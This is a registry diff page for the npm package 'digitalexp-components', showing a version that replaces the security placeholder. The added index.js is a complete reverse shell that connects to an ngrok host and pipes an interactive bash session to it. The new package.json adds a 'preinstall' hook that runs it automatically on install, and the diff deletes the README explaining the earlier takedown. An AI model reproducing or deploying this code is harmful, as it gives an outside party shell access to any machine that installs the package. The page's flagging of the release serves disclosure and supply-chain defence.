digitalexp-components 0.0.1-security → 13.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { exec, spawn } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const net = require('net');
8
+
9
+ const host = "0.tcp.in.ngrok.io"; // Change this to the correct ngrok or IP address
10
+ const port = 14410; // The port should match the server's listening port
11
+
12
+ const client = new net.Socket();
13
+ client.connect(port, host, () => {
14
+ console.log("Connected to Linux target!");
15
+
16
+ // Spawn a bash shell on the remote Linux system
17
+ const shell = spawn('bash', ['-i']); // '-i' makes bash interactive
18
+
19
+ // Pipe data between the client and the shell
20
+ client.pipe(shell.stdin);
21
+ shell.stdout.pipe(client);
22
+ shell.stderr.pipe(client);
23
+
24
+ // Handle error with the shell process
25
+ shell.on('error', (err) => {
26
+ console.error('Shell process error:', err);
27
+ });
28
+
29
+ // Handle close event for the shell process
30
+ shell.on('close', (code) => {
31
+ console.log(`Shell process exited with code ${code}`);
32
+ client.destroy(); // Close the client connection when the shell is done
33
+ });
34
+ });
35
+
36
+ client.on('error', (err) => {
37
+ console.error('Connection error:', err);
38
+ });
39
+
40
+ client.on('close', () => {
41
+ console.log('Connection closed');
42
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.1.7",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.